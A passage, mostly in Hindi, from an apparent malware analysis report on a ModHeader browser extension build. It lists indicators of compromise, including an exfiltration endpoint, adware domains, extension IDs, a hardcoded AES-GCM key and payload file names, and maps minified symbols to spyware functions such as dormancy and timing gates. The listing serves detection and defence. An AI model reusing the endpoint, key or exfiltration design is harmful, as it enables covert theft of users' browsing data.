  • किसी vendored लाइब्रेरी फ़ाइल से एक्सपोर्ट होने वाले ऑपरेशनल हेल्पर को code smell मानकर फ़्लैग करें।

Indicators of Compromise

इन IOCs का इस्तेमाल करके किसी और जगह भी इसी ModHeader मैलवेयर SDK की तलाश करें।

नेटवर्क

api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)

एक्सटेंशन

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

स्टैटिक स्ट्रिंग्स

Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log

फ़ाइलें (इस बिल्ड के Vite हैश)

assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)

सिंबल मैप

संदर्भ के लिए, यह रहा minified नामों और उनके अर्थ का मैप।

Minified

अर्थ

qw

एक्सफ़िल URL api.stanfordstudies.com/app/log

$w

ब्राउज़र allowlist गेट (ख़ाली = सुप्त)

Yw

फ़िंगरप्रिंट salt mod盐header

qo

इंपोर्ट की गई AES-GCM key

Hw

fp = SHA-256(Date.now()) इंस्टॉल ID

Zw

खोला गया डोमेन रिकॉर्ड करना

Qw

अपलोड का फ़ैसला + सफल होने पर सफ़ाई

zw

हर फ़िंगरप्रिंट के लिए दिन के समय वाला गेट

sf / af / Za / u0

ब्राउज़र id / host / आधी रात / sleep

आगे पढ़ें

भरोसेमंद एक्सटेंशन कैसे दुश्मन बन जाते हैं, इस पर व्यापक संदर्भ के लिए ये बाहरी रिपोर्ट देखें।

यह विश्लेषण एक इंस्टॉल किए गए बिल्ड का स्टैटिक विश्लेषण और ऑन-डिस्क फ़ोरेंसिक है। हम किसी attribution का दावा नहीं करते। अगर आप पुष्टि कर सकते हैं कि आधिकारिक Web Store ने ठीक यही बिल्ड परोसा था, तो कृपया HackIndex Research से संपर्क करें।